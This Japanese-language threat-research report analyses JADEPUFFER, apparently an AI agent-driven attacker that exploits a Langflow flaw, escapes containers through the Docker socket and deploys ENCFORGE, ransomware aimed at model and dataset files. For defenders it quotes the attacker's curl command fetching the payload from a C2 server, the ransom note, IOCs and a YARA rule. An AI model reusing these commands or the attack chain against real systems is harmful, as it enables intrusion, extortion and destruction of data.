ランサムウェアの運用者は、被害者がバックアップを取っていないことに賭けています。今回新たに判明した動向として、JADEPUFFERの運用者はさらに踏み込み、組織が単純には復元できないもの、すなわち学習済みのAIモデルを破壊するためにランサムウェアを利用するようになりました。組織にとって、単一のモデルを訓練するコストは、計算資源とエンジニアリングだけで50万ドルを超えることもあります。
2026年7月1日、Sysdig脅威リサーチチーム(TRT)はJADEPUFFERの活動を報告しました。これはCVE-2025-3248を悪用してLangflowを侵害するエージェント型脅威アクター(ATA)です。侵入に成功した後、JADEPUFFERは偵察、資格情報の窃取、水平移動、そして下流のMySQLおよびAlibaba Nacosサーバーに対する破壊的なデータベース恐喝プレイブックを自律的に連鎖実行しました。この自律運用という判断の根拠となったのは、具体的な行動シグナルです。自らの動作を実況するようなペイロード、31秒単位で失敗を診断・修正するサイクル、そしてセッション内で仕込まれた自然言語コンテキストを理解する様子などが観測されました。
2026年7月3日に当初の調査結果を公開した後、JADEPUFFERは同じLangflowインスタンスに再び戻ってきましたが、その能力は大幅に強化されていました。従来のキャンペーンでは即興のPythonスクリプトとMySQL自体のAES_ENCRYPT()関数を利用していましたが、今回JADEPUFFERが投入したのはENCFORGEという、AIおよび機械学習(ML)インフラを標的として専用に構築された、コンパイル済みでUPXパック処理されたGo言語製ランサムウェアであり、標的環境にはlockdとして配置されました。このバイナリはおよそ180種類のファイル拡張子を標的としており、モデルチェックポイント、ベクトルデータベース、訓練用データセット、埋め込みインデックスなど、現行のあらゆる主要フォーマットを網羅する形で、現代のAI/MLスタック全体を意図的に広くカバーしています。
今回の新たな作戦における侵入経路とペイロードは、同じ一つのストーリーを物語っています。エージェント型の運用者がAIフレームワークを通じてAIインフラに侵入し、そのインフラが動作の基盤とするもの自体を破壊するために設計されたランサムウェアを投入しているのです。しかし従来型のランサムウェアの標的とは異なり、暗号化されたAIモデルの成果物は、消去された後に復元することができません。本番運用可能なレベルまでファインチューニングされたAIモデルを再構築するには、数週間から数か月に及ぶ訓練を再度実行する必要があり、そのコストはモデル1つあたり計算資源とエンジニアリング時間で7万5000ドルから50万ドルに上ります。もし訓練データが同一ホスト上に置かれていた場合、そのデータを先に再構築しない限り、復旧そのものが完全に不可能になります。
ENCFORGEに埋め込まれた恐喝用連絡先[email protected]は、前回の報告で公開された連絡先と一致します。つまり、これは同一の運用者が大幅に強化したツールキットを用いた事案であるということです。
以下の分析では、JADEPUFFERが侵入の足がかりとした脆弱性、Sysdig TRTがその活動中に観測した内容、そしてENCFORGE自体の技術的な詳細について解説します。続いて、JADEPUFFERが即興のスクリプトから専用ツールへとどのように進化したかを追跡し、防御側が今すぐ活用できる検知手法と実践的な推奨事項を紹介します。
脆弱性
Langflowは、LLM駆動型アプリケーションを構築するために広く利用されているオープンソースのフレームワークです。CVE-2025-3248は、その/api/v1/validate/codeエンドポイントにおける認証欠如の脆弱性であり、認証されていない攻撃者がホスト上で任意のPythonコードを実行できてしまいます。この脆弱性は2025年5月にCISAの既知悪用脆弱性(KEV)カタログに追加されており、これまでに確認されているすべてのキャンペーンにおいて、JADEPUFFERが一貫して使用してきた侵入経路となっています。
Langflowがこの種の運用者にとって特に狙いやすい標的となっている理由は、その実行環境において、接続先の各種サービスをオーケストレーションするために、LLMプロバイダーのAPIキー、クラウドの認証情報、ベクトルデータベースやオブジェクトストアへの接続情報を保持していることが多いためです。前回のキャンペーンでは、JADEPUFFERがLangflow自体のPostgresバックエンドストアから資格情報を窃取した後、外部へと横展開していたことが確認されています。今回のキャンペーンでも同じ侵入経路が確認されましたが、その狙いは新しいものでした。すなわち、そのスタックが動作の基盤とするモデル資産そのものを破壊することです。
Sysdig TRTが観測した内容
フェーズ1:通常の侵害後行動
実行の確認(id、uname -m、hostname)を行った後、JADEPUFFERは環境内を捜索し、クラウドプロバイダーのキー、データベース接続文字列、APIトークンなどの資格情報を収集しました。次に/dev/tcpを使って内部サービスへの到達可能性を調べ、発見した資格情報を内部のデータベースサービスやキャッシュサービスに対して再利用しました。
フェーズ2:Dockerソケットの発見とバイナリの準備
JADEPUFFERは/var/run/docker.sockを発見してDockerデーモンが応答することを確認した後、コマンド&コントロール(C2)サーバーからランサムウェアのバイナリを取得しようと試みました。Dockerソケットへのアクセスは、ホスト上でroot権限を得るのと事実上同等です。このソケットに書き込み可能なプロセスであれば、ホストのファイルシステムをマウントした特権コンテナを作成するようDockerデーモンに指示でき、そのコンテナを使えば、元のコンテナの名前空間の外にあるホスト上の任意の場所を読み書きできてしまいます。
curl -m30 -o /tmp/.sk/lockd http://34.153.223[.]102:9191/lockd && chmod +x
この取得は成功しませんでした。運用者はこれを次のように確認しています。
ls /tmp/.sk/
# ls: cannot access '/tmp/.sk/lockd': No such file or directory
このATAは目的を放棄することなく、状況に応じて対応を変えました。コンテナ内部からバイナリを取得できないのであれば、コンテナのprocファイルシステムから、ホストをマウントした特権エスケープ用コンテナを経由してコピーし、ホスト上で直接実行すればよい、と判断したのです。この「バイナリを取得する」から「名前空間の境界を越えて運搬するためのエスケープ機構を構築する」への転換は、このセッションにおけるエージェント型行動の兆候といえます。これは、前回のキャンペーンで見られた31秒単位の診断・修正という挙動が、より複雑な問題に対して適用された形と考えられます。
ENCFORGE:AIインフラ向けに構築されたランサムウェア
研究者らはhttp://34.153.223.102:9191/.lockdからこのバイナリを取得しました。先頭のドットによって通常のディレクトリ一覧からは隠されており、/lockdにアクセスすると404が返る一方、GET /のインデックスには.lockdが表示されます。
| パック後 | アンパック後 | |
|---|---|---|
| SHA-256 | 8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2 | ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328 |
| サイズ | 1,501,888 B | 4,767,896 B |
| AV検出 | なし | なし |
| パッカー | UPX 5.20 | – |
| ランタイム | – | Go 1.22.12、静的リンク |
分析時点では、一般的な脅威インテリジェンスツールはいずれのハッシュも認識していませんでした。内部のプロジェクト名はencfile(encfile/cmd/lock)であり、付随する鍵生成ツールkeyforgeがバイナリ自体のエラーテキスト内で参照されています。この両者は、このツールチェーンを特定する上で有用な検知指標となります。
AIおよびML関連の標的化
拡張子の標的リストは、AIインフラを意図的に狙って設計されたことを示す最も明確な証拠です。フルバイナリにはおよそ180種類の標的拡張子が含まれています(前回の報告では約140種類と推定していましたが、アンパック後のバイナリを詳細に分析した結果、正確な数が判明しました)。AIおよびMLに関するカバー範囲は偶然ではなく、現代のMLスタック全体に及んでいます。
モデルフォーマットとチェックポイント:
.ckpt:TensorFlowおよびPyTorchのチェックポイント.h5:HDF5(Keras、TensorFlow).onnx:ONNXモデル交換フォーマット.pb:TensorFlow protobuf.pkl/.pickle:Python pickle(シリアライズ化されたモデルやデータ).pt/.pt2/.pth:PyTorch.safetensors:HuggingFace SafeTensors(モデルの重みを安全にシリアライズするための現行の標準フォーマット).ggml/.gguf:llama.cppの量子化モデルフォーマット(ローカル環境でのLLM運用における主流フォーマット).model:汎用モデルファイル
ベクトルデータベースと埋め込みインデックス:
.faiss:FAISSベクトルインデックス(Facebook AI Similarity Search、埋め込みの検索用途で広く利用)
訓練用データセットと列指向データ:
.arrow/.feather:Apache Arrowフォーマット(ML用データセット交換の標準).parquet:Apache Parquet(大規模な訓練用データセットで主流のフォーマット).tfrecord:TensorFlowレコード(訓練パイプラインの入力フォーマット).npy/.npz:NumPy配列(モデルの重みや活性化値).vec:word2vecおよびfastTextの埋め込みベクトル.duckdb:DuckDB(データサイエンスやMLパイプラインの分析で近年利用が拡大)
macOS/クロスプラットフォームへの意識を示す開発用フォーマット:
.keychain/.keychain-db:macOSキーチェーンの資格情報ストア.xcodeproj:Xcodeプロジェクトファイル(macOS専用の開発環境).pages/.numbers:Apple製生産性アプリのフォーマット
このAI関連の標的化が偶然ではなく意図的であることを裏付けているのが--includeフラグです。バイナリ自体のヘルプテキストには次のように記載されています。「comma-separated exts/globs to APPEND to the default encrypt whitelist (e.g. '*.lora,*.ggjt')」。JADEPUFFERは、デフォルト設定に追加すべき対象の代表例として、LoRAファインチューニング用アダプターファイルと旧世代のGGMLモデル重みを選びました。これは汎用のファイル暗号化ツールを設計したものではなく、AIおよびMLのモデル成果物が最も価値の高い標的となる環境向けに設計されたものであり、ランサムウェアの運用者がキャンペーンごとに標的を独自にカスタマイズすることを想定した設計になっています。
侵入経路としてのLangflowと、ペイロードとしてのENCFORGEの組み合わせは、決して偶然ではありません。Langflowの展開環境は、ENCFORGEが破壊対象とするインフラのすぐ隣に位置しています。モデルの重み、ベクトルストア、訓練パイプラインは、まさにAIオーケストレーションフレームワークがやり取りするために構築されているものだからです。
復旧コストと事業への影響
AIモデルの成果物を失うことによるコストは、それを生み出すために投じられた投資の規模に比例します。本番運用中のモデルの場合、その投資額は膨大なものになります。
バックアップから復元できたとしても、それはあくまでそのバックアップ時点の状態に組織を戻すだけであり、現在の状態には戻りません。最後にクリーンな状態でスナップショットを取った時点と、攻撃を受けた時点との間のギャップは、数週間から数か月分の訓練実行、ファインチューニングの繰り返し、データキュレーションに相当することがあります。このギャップを埋める作業は、単なる復元プロジェクトではなく、大規模なエンジニアリング作業になります。1回の訓練実行にかかるハードウェアコスト自体は比較的抑えられますが、本番品質の成果を得るには複数回の実験的な実行と、それらを設計・管理・検証するエンジニアリング労力が必要であり、コストが積み上がるのはこの部分です。
代表的なエンタープライズ向けファインチューニング済みモデル1つあたりの直接的な復旧コストは、およそ7万5000ドルから50万ドルに上ります。これは、複数回の訓練実行にわたる現行のクラウドGPU料金と、それらを管理するために必要なエンジニアリング時間を反映した数字です。この金額は主に、モデルの規模と、関係する独自の訓練データの複雑さに応じて変動します。しかし、この金額はモデル1つあたりの数字であるという点に注意が必要です。本番環境では、共有ストレージ上で複数の専用モデルバリアントを運用するのが一般的であり、ENCFORGEを一度実行するだけで、それらすべてが同時に暗号化されてしまいます。
訓練データも同一ホスト上に保存されている場合(これはよくあるケースです)、被害はさらに深刻化し、復旧そのものが完全に不可能になります。組織はベースモデルまで後退せざるを得なくなり、再訓練を開始する前に、まず独自のデータセットを再構築する必要が生じます。ベクトルインデックスなどの推論用成果物についても同様の複合的な問題が生じ、それが依存する元データが復元された後でなければ再構築できません。
暗号化と復旧妨害の仕組み
暗号化方式:Sysdig TRTがこれまで多くのATAで確認してきたのと同様に、JADEPUFFERはENCFORGEの機能をスクリプト内に明記しています。バイナリ自体のヘルプテキストには「Automatic file encryption (AES-256-CTR + RSA-2048 KEM); use --lock to encrypt, omit for try-run」と記載されています。標準的なハイブリッド暗号方式に沿って、大量ファイルの暗号化にはカウンターモードのAES-256を使用し、実行ごとの共通鍵は、埋め込まれたRSA-2048公開鍵でラップされます。さらに、LockBitやBlackCat系のロッカーが速度最適化のために採用しているファイル全体の暗号化ではなく、ENCFORGEは領域単位での暗号化を行い、暗号化した各ファイルには.locked拡張子を付与してリネームします。
埋め込まれたRSA-2048公開鍵はこのビルドにコンパイルされて組み込まれており、ビルド固有の永続的な侵害指標(IOC)となります。
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wZB6Q/Y0wZ7/Gax8i3Z
PybS9t5fCkOT37mavrcSZ+V+tt6M6jChhf+b+ASUNa6uIr4l+MCc7XAsJmpmnyyd
2aZYhMSbbO5YpmKL6AFgJBhhB37NvpzWje6CFk5rpZQ7sUlhMHXdi63Bqo6bAZaW
8+MDG8K6W55Y10XmRTqKUPrDYJFD9z8LnbJJeBQggpM3XS0C0lXF5yxq0WpyMpnO
8O24t+jzhkRuCwVsMd7sw3qKxQ7t7fdBYs4wEvL9r/jrt2Z7OiBnueEIuJFDULjF
ckJshJGwNNjXiEmZr7mT9ei56UvIwPjnepQC6ex2PwnmcYw1uPef1A3Qpy+VhxyT
dwIDAQAB
-----END PUBLIC KEY-----
復旧妨害と身代金メモ:ENCFORGEは、暗号化に先立ってファイルロックを保持しているプロセスを強制終了させ、べき等な再開処理に対応しており(中断後に安全に再開でき、既に処理済みのファイルを再暗号化して破損させることはありません)、実行後には自己削除し、README、HOW_TO_DECRYPT、README_DECRYPTという名前で身代金要求メモを設置します。復元された身代金メモの内容は以下の通りです。
!!! YOUR FILES HAVE BEEN ENCRYPTED !!!
All files inthis directory and its subdirectories have been encrypted withmilitary-grade encryption.
HOW TO RECOVER YOUR FILES
Email us with your UNIQUE ID. We will send payment instructions and the
decryption key within 48 hours.
- You CANNOT recover your files without our private decryption key.
- If you do not contact us within 7 days, your decryption key will be
PERMANENTLY DELETED and your files will be UNRECOVERABLE.
- Do NOT attempt to rename, move, or modify the encrypted files.
- Do NOT attempt to use third-party recovery tools.
- Do NOT share this file. Each victim has a unique key.
Contact: [email protected]
「Do NOT share this file. Each victim has a unique key」という一文は、被害者ごとに個別の鍵が発行されていることを示唆しており、意図的な措置と考えられます。つまり、1件の身代金支払いが他の被害者の利益にはならない仕組みです。
ENCFORGEは単一恐喝型のみに限られています。encfileモジュール全体をバイナリ解析した結果、ネットワーク機能、外部への発信通信、net/http、クラウドストレージ用クライアント、データ持ち出しの仕組みなどは一切確認されませんでした。JADEPUFFERの唯一の交渉材料は、暗号化されたデータそのものです。
しかし、最初のJADEPUFFERキャンペーンと同様に、今回のセッション中にデータ持ち出しが行われた証拠はありませんでした。リークサイトも観測されず、バイナリ内にTorの支払いポータルも埋め込まれていませんでした。この点で、暗号化とデータ漏えいの脅迫を組み合わせる、ランサムウェア・アズ・ア・サービス(RaaS)グループの間で標準となっている二重恐喝モデルとは異なります。JADEPUFFERが運用しているのは、暗号化そのものが脅迫材料となる、よりシンプルな「破壊優先」のプレイブックです。
このバイナリには、このLinux向けビルドの中に、稼働可能なWindows向け復旧妨害コードが含まれています。vssadmin.exe(ボリュームシャドウコピーの削除)とbcdedit.exe(ブート復旧の無効化)は、WipeShadowCopies関数とDisableRecoveryActions関数内で実際に呼び出されています。Windowsのプロセス強制終了リストには、クロスプラットフォームのデータベースプロセスと並んでMSSQLSERVER、sqlite3.exe、outlook.exe、winword.exe、onenote.exe、bcdedit.exeが名指しされています。encfileは、対象OSごとにコンパイルされる単一のGoコードベースです。拡張子リストにmacOS固有の資格情報ストア(.keychain、.keychain-db)や開発用フォーマット(.xcodeproj)が含まれていることから、macOS向けビルドも存在する可能性がありますが、Windowsとは異なり、このビルドにはmacOS固有のシステムコール、復旧妨害コマンド、プロセス名は含まれていません。コードレベルでのmacOS標的化については未確認です。
運用者の連続性とJADEPUFFERの進化
ENCFORGEに埋め込まれた恐喝用連絡先[email protected]は、前回のJADEPUFFER報告で公開された連絡先と同一です。これは、送信元IPやインフラとは独立した、最も強力な帰属の裏付けとなります。
両キャンペーンの間で変化した点は以下の通りです。
| 前回のキャンペーン | 今回のキャンペーン | |
|---|---|---|
| 暗号化 | MySQLのAES_ENCRYPT(content, KEY)、データベースネイティブ、一時鍵は保存されない | AES-256-CTR + RSA-2048 KEM、ファイル単位、鍵は埋め込みの公開鍵でラップ |
| 範囲 | 単一の標的、本番データベースサーバー | ファイルシステム全体、約180種類の拡張子 |
| ツール | Pythonスクリプト、使い捨てのワンライナー | コンパイル済みGoバイナリ、本格的なCLI(cobra)、独立した鍵生成ツール |
| 展開方法 | RCE経路を通じて直接実行 | 配送+エスケープ機構が必要 |
| キャンペーン管理 | 観測されず | キャンペーンごとの–task-id、gcp_h1/gcp_testを観測 |
| AI関連の標的化 | 窃取(資格情報の収集にAI関連キーも含む) | 破壊(デフォルトリストおよび–includeの例にML形式のモデルフォーマットを明記) |
JADEPUFFERのこうした進化は、運用者がキャンペーン間で再利用可能なインフラに投資していることと整合しています。
ホモグリフによる痕跡が残るCPythonの準備
C2のルートインデックスからは、もう1つ準備されたツリーが見つかりました。pv/bin/python、pv/bin/python3、そしてpv/bin/𝜋thonです。3つ目のファイル名は、thonの前にU+1D70B(数学用太字小文字パイ)を付加したものです。これら3つはバイト単位で完全に同一であり(SHA-256はab9824b61587c77a8d8649545cdbdc63ed2c384e45c9aba534e3f457f96efa7a、CPython 3.14、無害であることを確認済み)、このホモグリフは典型的な文字列検知回避パターンです。basename in ("python","python3")のようなチェックやpkill python3コマンドでは、パイ記号を先頭に付けたこのコピーを見逃してしまいます。今回のセッションにおけるJADEPUFFERのコマンド群にはpv/への参照は含まれておらず、このインタープリタは準備されたものの、実際には展開されませんでした。
侵害指標(IOC)
ネットワーク:
- 送信元:
45.131.66[.]106(AS49453、オランダ) - C2:
34.153.223[.]102(GCP)、ポート9191 - バイナリ配送先:
hxxp://34.153.223[.]102:9191/.lockd(先頭にドット、/lockdは404を返す) - 準備されたインタープリタ:
hxxp://34.153.223[.]102:9191/pv/bin/{python,python3,𝜋thon}
バイナリのハッシュ値(SHA-256):
| ファイル | SHA-256 |
|---|---|
| lockd(パック済み、UPX 5.20) | 8cb0c223b018cecef1d990ec81c67b826eb3c30d54f06193cf69969e9a8baea2 |
| lockd(アンパック済み、Go 1.22.12) | ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328 |
| 準備されたCPython 3.14 | ab9824b61587c77a8d8649545cdbdc63ed2c384e45c9aba534e3f457f96efa7a |
ビルド間で安定した指標:
- RSA-2048 DER SHA-256:
2378bf45bb54fb2defc460063c9b43e09870741b62692b7f6acbc3cd7898bb3 - プロジェクト名:
encfile/ 鍵生成用の付随ツール:keyforge - 恐喝用連絡先:
[email protected] - 暗号化済みファイルの拡張子:
.locked - 身代金メモ:
README、HOW_TO_DECRYPT、README_DECRYPT - 観測されたキャンペーンタスクID:
gcp_h1、gcp_test
検知
- 侵入経路(CVE-2025-3248):
/api/v1/validate/codeに送信されたコード内でのsubprocess.check_outputやsubprocess.runを介した、Langflowプロセスのユーザー権限でのPythonサブプロセス実行。Webアプリケーションのプロセス所有者配下でのプロセス生成を監視するランタイムセキュリティツールであれば、実行されるペイロードの内容にかかわらずこれを検知できます。 - Dockerソケットへのアクセス:アプリケーションプロセスのユーザーから
/containers/createや/containers/{id}/startへのDocker Engine API呼び出しが発生することは異常です。Langflowにはコンテナを作成する正当な理由がありません。アプリケーションプロセスによるDockerソケットへのアクセスは、いかなる場合もアラートを発生させるべきです。 - 特権エスケープ用コンテナ:
Privileged: trueとPidMode: host、あるいは/のバインドマウントを組み合わせたコンテナ作成リクエストは、エスケープの発生を高い確度で示す指標です。 - コンテナからの
nsenter実行:コンテナ内部からのnsenter --target 1は、名前空間の境界を越えてホストに到達する行為です。アプリケーションコンテナにおいて、これは正当な操作ではありません。 - AI資産への暗号化後の痕跡:
.gguf、.safetensors、.pkl、.ckpt、.faiss、.parquetファイルが存在するディレクトリ内で、.lockedファイルが大量に作成されること。AIパイプライン環境では、モデル成果物へのランサムウェアの被害が、一般的な業務データへの被害を上回る可能性があります。これらすべてのパスを個別に監視することが推奨されます。 - YARAルール(アンパック済みバイナリ向け):このルールは2段階で動作します。まず、バイナリにコンパイルされて組み込まれたGoパッケージパスによって
encfileコードベースの任意のビルドを検知するファミリー単位のクラスタ、次に、埋め込まれたRSA-2048公開鍵によってこの特定のサンプルそのものを検知するビルド固有のクラスタです。
rule ENCFORGE_Ransomware_Unpacked {
meta:
description = "Detects ENCFORGE ransomware locker (unpacked ELF) targeting AI/ML infrastructure, attributed to JADEPUFFER" author = "Sysdig Threat Research Team" date = "2026-07-15" sha256 = "ea7822eac6cecef7746c606b862b4d3034856caf754c4cf69533662637905328" tlp = "WHITE"strings:
// Go source paths compiled into the binary; survive recompilation of the same codebase $pkg_enc = "encfile/internal/cli/enc" ascii
$pkg_crypter = "encfile/internal/crypter" ascii
$pkg_discover = "encfile/internal/discover" ascii
// Companion keygen tool reference embedded in error text $keyforge = "run keyforge gen" ascii
// CLI safety-gate output (printed when --lock flag is absent) $tryrun = "TRY-RUN (scan-only, --lock not set)" ascii
// Anti-recovery and process-kill log strings $killing = "killing holders" ascii
$dis_recovery = "[*] Disabling recovery" ascii
// Encrypted-file rename log entry $renamed = "encrypted+renamed:" ascii
// Ransom note: per-victim key isolation notice $unique_key = "Do NOT share this file. Each victim has a unique key." ascii
// Build-specific: prefix of the embedded RSA-2048 public key $rsa_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7wZB6Q" ascii
condition:
uint32(0) == 0x464c457f// ELF magic and filesize > 2MB
and filesize < 15MB
and (
// Family: package paths confirm encfile codebase + any two behavioral strings (2of ($pkg_*) and 2of ($keyforge, $tryrun, $killing, $dis_recovery, $renamed, $unique_key)))
or
// Build-specific: RSA key prefix + at least one package path ($rsa_key and 1of ($pkg_*))
)
}
Sysdig Secureをご利用のお客様向けに、Sysdig脅威リサーチチームは、Webアプリケーションのプロセスユーザー配下でのサブプロセス実行、Dockerソケットへのアクセス、特権コンテナの作成をカバーするルールを提供・維持しています。
推奨事項
侵入経路にパッチを適用する:
- Langflowをバージョン1.3.0以降に更新してください。CVE-2025-3248は2025年5月からCISAのKEVに掲載されており、対応期限もすでに過ぎています。
コンテナ環境を強化する:
- Dockerソケットへのアクセスを制限してください。アプリケーションコンテナに
/var/run/docker.sockをマウントする必要がある場合は、必要な特定のAPI呼び出しのみを許可するようソケットプロキシを設定してスコープを絞ってください。Langflowにはそもそもこうしたアクセスは不要です。 - Langflowコンテナは非rootユーザーで実行し、書き込み可能なディレクトリには
noexecを設定してください。 - コンテナ内プロセスからの
nsenter実行についてアラートを設定してください。
AIモデル資産を保護する:
- モデルの重みを格納するディレクトリにファイルシステムレベルのアクセス制御を適用してください。モデルの重みや訓練用データセットは、Webアプリケーションのプロセスユーザーから誰でも読み取れる状態にすべきではありません。
- 本番運用中のモデル成果物については、オフラインまたはイミュータブルなスナップショットを維持してください。
.gguf、.safetensors、.ckptファイルを狙うランサムウェアは、従来型の業務データに一切触れることなく、本番稼働中のAIシステムを機能停止に追い込むことができます。 - ML資産のパスにおける
.locked拡張子の作成イベントを検知の対象に追加してください。 - OpenAI、Anthropic、HuggingFaceなどのAIプロバイダーのAPIキーを、Langflowの実行環境に保存しないでください。JADEPUFFERの前回のキャンペーンでは、こうしたキーがアクセス直後に窃取されることが確認されています。
資格情報の適切な管理:
- Langflowプロセスがアクセス可能な資格情報を監査してください。脆弱なバージョンのLangflowを稼働させたことのあるホストで、環境変数、インスタンスメタデータ、資格情報ファイルなどを通じて露出したものはすべてローテーションしてください。
まとめ
JADEPUFFERの前回のキャンペーンは、人間がエージェントを環境に向けて配置すれば、LLMがデータベース恐喝を実行できてしまうことを明確に示しました。今回のキャンペーンの進化は、同一の運用者がより強化された能力と、より鋭く絞り込まれた標的を持つに至ったことを示しています。すなわち、侵入経路そのものとなるAIインフラです。ENCFORGEは、AI環境向けに転用された汎用のファイル暗号化ツールではなく、ベクトルデータベース、モデルチェックポイント、訓練用データセットを名指しの標的とし、運用者がCLI上でML関連フォーマットの標的を拡張できる機能をあらかじめ組み込んだ、AI環境向けに設計されたランサムウェアです。
JADEPUFFERは、わずか数日という短期間のうちに、2つのキャンペーンの間で大きく成熟を遂げました。Pythonスクリプトと組み込みのMySQL暗号化機能から、RSA-2048/AES-256-CTRのハイブリッド暗号化、独立した鍵生成ツール、クロスプラットフォームのWindowsサポート、そしてキャンペーンID管理システムを備えたコンパイル済みGoバイナリへと進化したのです。最初のキャンペーンを特徴づけていた同じエージェント型の行動、すなわち31秒単位での失敗と修正というサイクルは、今回のイテレーションにも見られますが、今回はより難しい問題を解決しています。バイナリの取得に失敗した際に、その場でコンテナエスケープツールキットを構築するという行動です。恐喝用の連絡先は変わらず、侵入経路も同じままです。しかし、その目的はデータベースの破壊から、モデルパイプラインの破壊へと進化しました。
AIインフラを構築・運用する組織にとって、脅威モデルはすでに拡大しています。これにより、JADEPUFFERのランサムウェアが意味するものも変わってきます。露出したAIフレームワークを通じて侵入する攻撃者は今や、そのフレームワークが接続する対象に特化して設計されたペイロードを携えてやって来るのです。暗号化された業務ファイルはバックアップから復元できますが、暗号化された本番運用中のモデルは、しばしば復元できません。身代金の支払いだけで数百万ドルの損失を被る可能性がある一方、モデルの再構築・再訓練にはそれぞれ7万5000ドルから50万ドルのコストがかかることもあります。
AIインフラのセキュリティ対策の必要性は、もはや疑う余地がありません。そして今や、モデルの成果物もデータベースと並んで、皆さんのバックアップ・復旧計画に含めるべき対象なのです。

